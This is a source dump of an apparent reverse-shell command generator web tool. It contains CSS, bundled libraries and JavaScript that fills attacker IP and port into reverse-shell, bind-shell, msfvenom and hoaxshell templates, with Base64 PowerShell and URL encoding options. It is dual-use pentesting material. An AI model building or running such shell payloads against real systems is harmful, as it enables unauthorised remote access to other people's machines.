0px 2px 20px 0 rgba(153,28,143,.75); 81 | background-color: rgb(45, 139, 135); 82 | color: #000; 83 | } 84 | 85 | [data-theme="meme"] #reverse-shell-command { 86 | border: none !important; 87 | border-radius: 5px; 88 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */ 89 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75); 90 | background-color: rgb(45, 139, 135); 91 | color: #000; 92 | max-height: 20rem; 93 | } 94 | 95 | [data-theme="meme"] #bind-shell-command { 96 | border: none !important; 97 | border-radius: 5px; 98 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */ 99 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75); 100 | background-color: rgb(45, 139, 135); 101 | color: #000; 102 | max-height: 20rem; 103 | } 104 | 105 | [data-theme="meme"] #msfvenom-command { 106 | border: none !important; 107 | border-radius: 5px; 108 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */ 109 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75); 110 | background-color: rgb(45, 139, 135); 111 | color: #000; 112 | max-height: 20rem; 113 | } 114 | 115 | [data-theme="meme"] #hoaxshell-command { 116 | border: none !important; 117 | border-radius: 5px; 118 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */ 119 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75); 120 | background-color: rgb(45, 139, 135); 121 | color: #000; 122 | max-height: 20rem; 123 | } 124 | 125 | [data-theme="meme"] .custom-select { 126 | background-color: #f1c6ce; 127 | color: #000; 128 | border-color: #a56096; 129 | } 130 | 131 | [data-theme="meme"] .nav-link { 132 | color: #000; 133 | background: transparent; 134 | box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75); 135 | } 136 | 137 | [data-theme="meme"] .nav-link:hover { 138 | background-color: #7223b5; 139 | } 140 | 141 | [data-theme="meme"] .nav-link.active { 142 | background-color: #a56096; 143 | color:#000; 144 | } 145 | 146 | [data-theme="meme"] .custom-control-input:checked { 147 | color: #000; 148 | } 149 | 150 | [data-theme="meme"] a { 151 | background-color: #f1c6ce; 152 | color: #000; 153 | } 154 | 155 | [data-theme="meme"] .list-group-item { 156 | background-color: #f1c6ce; 157 | color: #000; 158 | } 159 | 160 | [data-theme="meme"] .list-group-item.active { 161 | background-color: #a56096; 162 | border-color: #000; 163 | } 164 | 165 | [data-theme="meme"] .list-group-item:hover { 166 | background-color: #a56096; 167 | } 168 | 169 | [data-theme="meme"] .list-group-item.hover { 170 | background-color: rgba(153, 28, 143, 0.75); 171 | } 172 | 173 | [data-theme="meme"] .container { 174 | padding: 20px; 175 | border-radius: 20px; 176 | /*box-shadow: 10px 0px 20px 0px rgba(153, 28, 143, 0.75); original */ 177 | box-shadow: 3px 0 20px 0 rgba(153,28,143,.75); 178 | height: 100% !important; 179 | background-image: url(../assets/meme_doge.jpg); 180 | margin: 20px auto; 181 | background-position: 45% 24%; 182 | } 183 | 184 | [data-theme="meme"] label.card-title { 185 | color: #fff !important; 186 | } 187 | 188 | [data-theme="meme"] .card-title { 189 | color: black !important; 190 | } 191 | 192 | [data-theme="meme"] .custom-control-label { 193 | color: black; 194 | } 195 | 196 | [data-theme="meme"] h2 { 197 | color: white; 198 | text-align: center; 199 | } 200 | 201 | [data-theme="meme"] .pre-wrap { 202 | white-space: pre-wrap; 203 | } 204 | 205 | [data-theme="meme"] .card-body { 206 | max-height: 40rem; 207 | } 208 | 209 | [data-theme="meme"] .download-svg:hover { 210 | filter: opacity(70%); 211 | } 212 | @font-face { 213 | font-family: "Comic Mono"; 214 | src: url(../assets/ComicMono.ttf); 215 | } 216 | 217 | @-webkit-keyframes rainbow { 218 | 0% { 219 | color: orange; 220 | } 221 | 222 | 10% { 223 | color: purple; 224 | } 225 | 226 | 20% { 227 | color: red; 228 | } 229 | 230 | 30% { 231 | color: CadetBlue; 232 | } 233 | 234 | 40% { 235 | color: yellow; 236 | } 237 | 238 | 50% { 239 | color: coral; 240 | } 241 | 242 | 60% { 243 | color: green; 244 | } 245 | 246 | 70% { 247 | color: cyan; 248 | } 249 | 250 | 80% { 251 | color: DeepPink; 252 | } 253 | 254 | 90% { 255 | color: DodgerBlue; 256 | } 257 | 258 | 100% { 259 | color: orange; 260 | } 261 | } 262 | 263 | /* Internet Explorer */ 264 | @-ms-keyframes rainbow { 265 | 0% { 266 | color: orange; 267 | } 268 | 269 | 10% { 270 | color: purple; 271 | } 272 | 273 | 20% { 274 | color: red; 275 | } 276 | 277 | 30% { 278 | color: CadetBlue; 279 | } 280 | 281 | 40% { 282 | color: yellow; 283 | } 284 | 285 | 50% { 286 | color: coral; 287 | } 288 | 289 | 60% { 290 | color: green; 291 | } 292 | 293 | 70% { 294 | color: cyan; 295 | } 296 | 297 | 80% { 298 | color: DeepPink; 299 | } 300 | 301 | 90% { 302 | color: DodgerBlue; 303 | } 304 | 305 | 100% { 306 | color: orange; 307 | } 308 | } 309 | 310 | /* Standar Syntax */ 311 | @keyframes rainbow { 312 | 0% { 313 | color: orange; 314 | } 315 | 316 | 10% { 317 | color: purple; 318 | } 319 | 320 | 20% { 321 | color: red; 322 | } 323 | 324 | 30% { 325 | color: CadetBlue; 326 | } 327 | 328 | 40% { 329 | color: yellow; 330 | } 331 | 332 | 50% { 333 | color: coral; 334 | } 335 | 336 | 60% { 337 | color: green; 338 | } 339 | 340 | 70% { 341 | color: cyan; 342 | } 343 | 344 | 80% { 345 | color: DeepPink; 346 | } 347 | 348 | 90% { 349 | color: DodgerBlue; 350 | } 351 | 352 | 100% { 353 | color: orange; 354 | } 355 | } 356 | 357 | a[href*="t3l3machus"] { 358 | /* Fixes a minor style bug of the Download Listener button */ 359 | background: none; 360 | } 361 | 362 | .middle-card { 363 | min-height: 500px; 364 | max-height: 100%; 365 | overflow-y: auto; 366 | padding: 1.5rem; 367 | } 368 | -------------------------------------------------------------------------------- /assets/axios.min.js: -------------------------------------------------------------------------------- 1 | /* axios v0.27.2 | (c) 2022 by Matt Zabriskie */ 2 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t():e.axios=t()}(this,(function(){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=13)}([function(e,t,n){"use strict";var r,o=n(4),i=Object.prototype.toString,s=(r=Object.create(null),function(e){var t=i.call(e);return r[t]||(r[t]=t.slice(8,-1).toLowerCase())});function a(e){return e=e.toLowerCase(),function(t){return s(t)===e}}function u(e){return Array.isArray(e)}function c(e){return void 0===e}var f=a("ArrayBuffer");function l(e){return null!==e&&"object"==typeof e}function p(e){if("object"!==s(e))return!1;var t=Object.getPrototypeOf(e);return null===t||t===Object.prototype}var d=a("Date"),h=a("File"),m=a("Blob"),v=a("FileList");function y(e){return"[object Function]"===i.call(e)}var g=a("URLSearchParams");function E(e,t){if(null!=e)if("object"!=typeof e&&(e=[e]),u(e))for(var n=0,r=e.length;n0;)s[i=r[o]]||(t[i]=e[i],s[i]=!0);e=Object.getPrototypeOf(e)}while(e&&(!n||n(e,t))&&e!==Object.prototype);return t},kindOf:s,kindOfTest:a,endsWith:function(e,t,n){e=String(e),(void 0===n||n>e.length)&&(n=e.length),n-=t.length;var r=e.indexOf(t,n);return-1!==r&&r===n},toArray:function(e){if(!e)return null;var t=e.length;if(c(t))return null;for(var n=new Array(t);t-- >0;)n[t]=e[t];return n},isTypedArray:O,isFileList:v}},function(e,t,n){"use strict";var r=n(0);function o(e,t,n,r,o){Error.call(this),this.message=e,this.name="AxiosError",t&&(this.code=t),n&&(this.config=n),r&&(this.request=r),o&&(this.response=o)}r.inherits(o,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code,status:this.response&&this.response.status?this.response.status:null}}});var i=o.prototype,s={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED"].forEach((function(e){s[e]={value:e}})),Object.defineProperties(o,s),Object.defineProperty(i,"isAxiosError",{value:!0}),o.from=function(e,t,n,s,a,u){var c=Object.create(i);return r.toFlatObject(e,c,(function(e){return e!==Error.prototype})),o.call(c,e.message,t,n,s,a),c.name=e.name,u&&Object.assign(c,u),c},e.exports=o},function(e,t,n){"use strict";var r=n(1);function o(e){r.call(this,null==e?"canceled":e,r.ERR_CANCELED),this.name="CanceledError"}n(0).inherits(o,r,{__CANCEL__:!0}),e.exports=o},function(e,t,n){"use strict";var r=n(0),o=n(19),i=n(1),s=n(6),a=n(7),u={"Content-Type":"application/x-www-form-urlencoded"};function c(e,t){!r.isUndefined(e)&&r.isUndefined(e["Content-Type"])&&(e["Content-Type"]=t)}var f,l={transitional:s,adapter:(("undefined"!=typeof XMLHttpRequest||"undefined"!=typeof process&&"[object process]"===Object.prototype.toString.call(process))&&(f=n(8)),f),transformRequest:[function(e,t){if(o(t,"Accept"),o(t,"Content-Type"),r.isFormData(e)||r.isArrayBuffer(e)||r.isBuffer(e)||r.isStream(e)||r.isFile(e)||r.isBlob(e))return e;if(r.isArrayBufferView(e))return e.buffer;if(r.isURLSearchParams(e))return c(t,"application/x-www-form-urlencoded;charset=utf-8"),e.toString();var n,i=r.isObject(e),s=t&&t["Content-Type"];if((n=r.isFileList(e))||i&&"multipart/form-data"===s){var u=this.env&&this.env.FormData;return a(n?{"files[]":e}:e,u&&new u)}return i||"application/json"===s?(c(t,"application/json"),function(e,t,n){if(r.isString(e))try{return(t||JSON.parse)(e),r.trim(e)}catch(e){if("SyntaxError"!==e.name)throw e}return(n||JSON.stringify)(e)}(e)):e}],transformResponse:[function(e){var t=this.transitional||l.transitional,n=t&&t.silentJSONParsing,o=t&&t.forcedJSONParsing,s=!n&&"json"===this.responseType;if(s||o&&r.isString(e)&&e.length)try{return JSON.parse(e)}catch(e){if(s){if("SyntaxError"===e.name)throw i.from(e,i.ERR_BAD_RESPONSE,this,null,this.response);throw e}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:n(27)},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*"}}};r.forEach(["delete","get","head"],(function(e){l.headers[e]={}})),r.forEach(["post","put","patch"],(function(e){l.headers[e]=r.merge(u)})),e.exports=l},function(e,t,n){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r=0)return;s[t]="set-cookie"===t?(s[t]?s[t]:[]).concat([n]):s[t]?s[t]+", "+n:n}})),s):s}},function(e,t,n){"use strict";var r=n(0);e.exports=r.isStandardBrowserEnv()?function(){var e,t=/(msie|trident)/i.test(navigator.userAgent),n=document.createElement("a");function o(e){var r=e;return t&&(n.setAttribute("href",r),r=n.href),n.setAttribute("href",r),{href:n.href,protocol:n.protocol?n.protocol.replace(/:$/,""):"",host:n.host,search:n.search?n.search.replace(/^\?/,""):"",hash:n.hash?n.hash.replace(/^#/,""):"",hostname:n.hostname,port:n.port,pathname:"/"===n.pathname.charAt(0)?n.pathname:"/"+n.pathname}}return e=o(window.location.href),function(t){var n=r.isString(t)?o(t):t;return n.protocol===e.protocol&&n.host===e.host}}():function(){return!0}},function(e,t,n){"use strict";e.exports=function(e){var t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}},function(e,t){e.exports=null},function(e,t,n){"use strict";var r=n(12).version,o=n(1),i={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){i[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));var s={};i.transitional=function(e,t,n){function i(e,t){return"[Axios v"+r+"] Transitional option '"+e+"'"+t+(n?". "+n:"")}return function(n,r,a){if(!1===e)throw new o(i(r," has been removed"+(t?" in "+t:"")),o.ERR_DEPRECATED);return t&&!s[r]&&(s[r]=!0,console.warn(i(r," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,r,a)}},e.exports={assertOptions:function(e,t,n){if("object"!=typeof e)throw new o("options must be an object",o.ERR_BAD_OPTION_VALUE);for(var r=Object.keys(e),i=r.length;i-- >0;){var s=r[i],a=t[s];if(a){var u=e[s],c=void 0===u||a(u,s,e);if(!0!==c)throw new o("option "+s+" must be "+c,o.ERR_BAD_OPTION_VALUE)}else if(!0!==n)throw new o("Unknown option "+s,o.ERR_BAD_OPTION)}},validators:i}},function(e,t,n){"use strict";var r=n(2);function o(e){if("function"!=typeof e)throw new TypeError("executor must be a function.");var t;this.promise=new Promise((function(e){t=e}));var n=this;this.promise.then((function(e){if(n._listeners){var t,r=n._listeners.length;for(t=0;t=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.rightwindow.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge}); 5 | //# sourceMappingURL=popper.min.js.map 6 | -------------------------------------------------------------------------------- /js/script.js: -------------------------------------------------------------------------------- 1 | 2 | // Element selectors 3 | const ipInput = document.querySelector("#ip"); 4 | const portInput = document.querySelector("#port"); 5 | const listenerSelect = document.querySelector("#listener-selection"); 6 | const shellSelect = document.querySelector("#shell"); 7 | // const autoCopySwitch = document.querySelector("#auto-copy-switch"); 8 | const operatingSystemSelect = document.querySelector("#os-options"); 9 | const encodingSelect = document.querySelector('#encoding'); 10 | const searchBox = document.querySelector('#searchBox'); 11 | const listenerCommand = document.querySelector("#listener-command"); 12 | const reverseShellCommand = document.querySelector("#reverse-shell-command"); 13 | const bindShellCommand = document.querySelector("#bind-shell-command"); 14 | const msfVenomCommand = document.querySelector("#msfvenom-command"); 15 | const hoaxShellCommand = document.querySelector("#hoaxshell-command"); 16 | 17 | const FilterOperatingSystemType = { 18 | 'All': 'all', 19 | 'Windows': 'windows', 20 | 'Linux': 'linux', 21 | 'Mac': 'mac' 22 | }; 23 | 24 | const hoaxshell_listener_types = { 25 | "Windows CMD cURL" : "cmd-curl", 26 | "PowerShell IEX" : "ps-iex", 27 | "PowerShell IEX Constr Lang Mode" : "ps-iex-cm", 28 | "PowerShell Outfile" : "ps-outfile", 29 | "PowerShell Outfile Constr Lang Mode" : "ps-outfile-cm", 30 | "Windows CMD cURL https" : "cmd-curl -c /your/cert.pem -k /your/key.pem", 31 | "PowerShell IEX https" : "ps-iex -c /your/cert.pem -k /your/key.pem", 32 | "PowerShell IEX Constr Lang Mode https" : "ps-iex-cm -c /your/cert.pem -k /your/key.pem", 33 | "PowerShell Outfile https" : "ps-outfile -c /your/cert.pem -k /your/key.pem", 34 | "PowerShell Outfile Constr Lang Mode https" : "ps-outfile-cm -c /your/cert.pem -k /your/key.pem" 35 | }; 36 | 37 | operatingSystemSelect.addEventListener("change", (event) => { 38 | const selectedOS = event.target.value; 39 | rsg.setState({ 40 | filterOperatingSystem: selectedOS, 41 | }); 42 | }); 43 | 44 | document.querySelector("#reverse-tab").addEventListener("click", () => { 45 | rsg.setState({ 46 | commandType: CommandType.ReverseShell, 47 | }); 48 | }) 49 | 50 | document.querySelector("#bind-tab").addEventListener("click", () => { 51 | rsg.setState({ 52 | commandType: CommandType.BindShell, 53 | encoding: "None" 54 | }); 55 | }) 56 | 57 | document.querySelector("#bind-tab").addEventListener("click", () => { 58 | document.querySelector("#bind-shell-selection").innerHTML = ""; 59 | rsg.setState({ 60 | commandType: CommandType.BindShell 61 | 62 | }); 63 | }) 64 | 65 | document.querySelector("#msfvenom-tab").addEventListener("click", () => { 66 | document.querySelector("#msfvenom-selection").innerHTML = ""; 67 | rsg.setState({ 68 | commandType: CommandType.MSFVenom, 69 | encoding: "None" 70 | }); 71 | }); 72 | 73 | 74 | document.querySelector("#hoaxshell-tab").addEventListener("click", () => { 75 | document.querySelector("#hoaxshell-selection").innerHTML = ""; 76 | rsg.setState({ 77 | commandType: CommandType.HoaxShell, 78 | encoding: "None" 79 | }); 80 | }); 81 | 82 | var rawLinkButtons = document.querySelectorAll('.raw-listener'); 83 | for (const button of rawLinkButtons) { 84 | button.addEventListener("click", () => { 85 | const rawLink = RawLink.generate(rsg); 86 | window.location = rawLink; 87 | }); 88 | } 89 | 90 | const filterCommandData = function (data, { commandType, filterOperatingSystem = FilterOperatingSystemType.All, filterText = '' }) { 91 | return data.filter(item => { 92 | 93 | if (!item.meta.includes(commandType)) { 94 | return false; 95 | } 96 | 97 | var hasOperatingSystemMatch = (filterOperatingSystem === FilterOperatingSystemType.All) || item.meta.includes(filterOperatingSystem); 98 | var hasTextMatch = item.name.toLowerCase().indexOf(filterText.toLowerCase()) >= 0; 99 | return hasOperatingSystemMatch && hasTextMatch; 100 | }); 101 | } 102 | 103 | const query = new URLSearchParams(location.hash.substring(1)); 104 | 105 | // From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent 106 | const fixedEncodeURIComponent = function (str) { 107 | return encodeURIComponent(str).replace(/[!'()*]/g, function(c) { 108 | return '%' + c.charCodeAt(0).toString(16).toUpperCase(); 109 | }); 110 | } 111 | 112 | const rsg = { 113 | ip: (query.get('ip') || localStorage.getItem('ip') || '10.10.10.10').replace(/[^a-zA-Z0-9.\-]/g, ''), 114 | port: query.get('port') || localStorage.getItem('port') || 9001, 115 | payload: query.get('payload') || localStorage.getItem('payload') || 'windows/x64/meterpreter/reverse_tcp', 116 | payload: query.get('type') || localStorage.getItem('type') || 'cmd-curl', 117 | shell: query.get('shell') || localStorage.getItem('shell') || rsgData.shells[0], 118 | listener: query.get('listener') || localStorage.getItem('listener') || rsgData.listenerCommands[0][1], 119 | encoding: query.get('encoding') || localStorage.getItem('encoding') || 'None', 120 | selectedValues: { 121 | [CommandType.ReverseShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.ReverseShell })[0].name, 122 | [CommandType.BindShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.BindShell })[0].name, 123 | [CommandType.MSFVenom]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.MSFVenom })[0].name, 124 | [CommandType.HoaxShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.HoaxShell })[0].name, 125 | }, 126 | commandType: CommandType.ReverseShell, 127 | filterOperatingSystem: query.get('filterOperatingSystem') || localStorage.getItem('filterOperatingSystem') || FilterOperatingSystemType.All, 128 | filterText: query.get('filterText') || localStorage.getItem('filterText') || '', 129 | 130 | uiElements: { 131 | [CommandType.ReverseShell]: { 132 | listSelection: '#reverse-shell-selection', 133 | command: '#reverse-shell-command' 134 | }, 135 | [CommandType.BindShell]: { 136 | listSelection: '#bind-shell-selection', 137 | command: '#bind-shell-command', 138 | }, 139 | [CommandType.MSFVenom]: { 140 | listSelection: '#msfvenom-selection', 141 | command: '#msfvenom-command' 142 | }, 143 | [CommandType.HoaxShell]: { 144 | listSelection: '#hoaxshell-selection', 145 | command: '#hoaxshell-command' 146 | } 147 | }, 148 | 149 | copyToClipboard: (text) => { 150 | if (navigator ?.clipboard ?.writeText) { 151 | navigator.clipboard.writeText(text) 152 | $('#clipboard-toast').toast('show') 153 | } else if (window ?.clipboardData ?.setData) { 154 | window.clipboardData.setData('Text', text); 155 | $('#clipboard-toast').toast('show') 156 | } else { 157 | $('#clipboard-failure-toast').toast('show') 158 | } 159 | }, 160 | 161 | escapeHTML: (text) => { 162 | let element = document.createElement('p'); 163 | element.textContent = text; 164 | return element.innerHTML; 165 | }, 166 | 167 | getIP: () => rsg.ip, 168 | 169 | getPort: () => Number(rsg.port), 170 | 171 | getShell: () => rsg.shell, 172 | 173 | getEncoding: () => rsg.encoding, 174 | 175 | getSelectedCommandName: () => { 176 | return rsg.selectedValues[rsg.commandType]; 177 | }, 178 | 179 | getReverseShellCommand: () => { 180 | const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.getSelectedCommandName()); 181 | return reverseShellData.command; 182 | }, 183 | 184 | getPayload: () => { 185 | if (rsg.commandType === 'MSFVenom') { 186 | let cmd = rsg.getReverseShellCommand(); 187 | // msfvenom -p windows/x64/meterpreter_reverse_tcp ... 188 | let regex = /\s+-p\s+(?[a-zA-Z0-9/_]+)/; 189 | let match = regex.exec(cmd); 190 | if (match) { 191 | return match.groups.payload; 192 | } 193 | } 194 | 195 | return 'windows/x64/meterpreter/reverse_tcp' 196 | 197 | }, 198 | 199 | getType: () => { 200 | if (rsg.commandType === 'HoaxShell') { 201 | let cmd_name = rsg.getSelectedCommandName(); 202 | return hoaxshell_listener_types[cmd_name]; 203 | } 204 | 205 | return 'cmd-curl' 206 | 207 | }, 208 | 209 | generateReverseShellCommand: () => { 210 | let command 211 | 212 | if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') { 213 | const encoder = (text) => text; 214 | const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder) 215 | command = "powershell -e " + btoa(toBinary(payload)) 216 | function toBinary(string) { 217 | const codeUnits = new Uint16Array(string.length); 218 | for (let i = 0; i < codeUnits.length; i++) { 219 | codeUnits[i] = string.charCodeAt(i); 220 | } 221 | const charCodes = new Uint8Array(codeUnits.buffer); 222 | let result = ''; 223 | for (let i = 0; i < charCodes.byteLength; i++) { 224 | result += String.fromCharCode(charCodes[i]); 225 | } 226 | return result; 227 | } 228 | } else { 229 | command = rsg.getReverseShellCommand() 230 | } 231 | 232 | const encoding = rsg.getEncoding(); 233 | if (encoding === 'Base64') { 234 | command = rsg.insertParameters(command, (text) => text) 235 | command = btoa(command) 236 | } else { 237 | function encoder(string) { 238 | let result = string; 239 | switch (encoding) { 240 | case 'encodeURLDouble': 241 | result = fixedEncodeURIComponent(result); 242 | // fall-through 243 | case 'encodeURL': 244 | result = fixedEncodeURIComponent(result); 245 | break; 246 | } 247 | return result; 248 | } 249 | command = rsg.escapeHTML(encoder(command)); 250 | // NOTE: Assumes encoder doesn't produce HTML-escaped characters in parameters 251 | command = rsg.insertParameters(rsg.highlightParameters(command, encoder), encoder); 252 | } 253 | 254 | return command; 255 | }, 256 | 257 | highlightParameters: (text, encoder) => { 258 | const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'), 259 | encodeURI('{shell}') 260 | ]; 261 | 262 | parameters.forEach((param) => { 263 | if (encoder) param = encoder(param) 264 | text = text.replace(param, `${param}`) 265 | }) 266 | return text 267 | }, 268 | 269 | init: () => { 270 | rsg.initListenerSelection() 271 | rsg.initShells() 272 | }, 273 | 274 | initListenerSelection: () => { 275 | rsgData.listenerCommands.forEach((listenerData, i) => { 276 | const type = listenerData[0]; 277 | const command = listenerData[1]; 278 | 279 | const option = document.createElement("option"); 280 | 281 | option.value = command; 282 | option.selected = rsg.listener === option.value; 283 | option.classList.add("listener-option"); 284 | option.innerText = type; 285 | 286 | listenerSelect.appendChild(option); 287 | }) 288 | }, 289 | 290 | initShells: () => { 291 | rsgData.shells.forEach((shell, i) => { 292 | const option = document.createElement("option"); 293 | 294 | option.selected = rsg.shell === shell; 295 | option.classList.add("shell-option"); 296 | option.innerText = shell; 297 | 298 | shellSelect.appendChild(option); 299 | }) 300 | }, 301 | 302 | // Updates the rsg state, and forces a re-render 303 | setState: (newState = {}) => { 304 | Object.keys(newState).forEach((key) => { 305 | const value = newState[key]; 306 | rsg[key] = value; 307 | localStorage.setItem(key, value) 308 | }); 309 | Object.assign(rsg, newState); 310 | 311 | rsg.update(); 312 | }, 313 | 314 | insertParameters: (command, encoder) => { 315 | return command 316 | .replaceAll(encoder('{ip}'), encoder(rsg.getIP())) 317 | .replaceAll(encoder('{port}'), encoder(String(rsg.getPort()))) 318 | .replaceAll(encoder('{shell}'), encoder(rsg.getShell())) 319 | }, 320 | 321 | update: () => { 322 | rsg.updateListenerCommand() 323 | 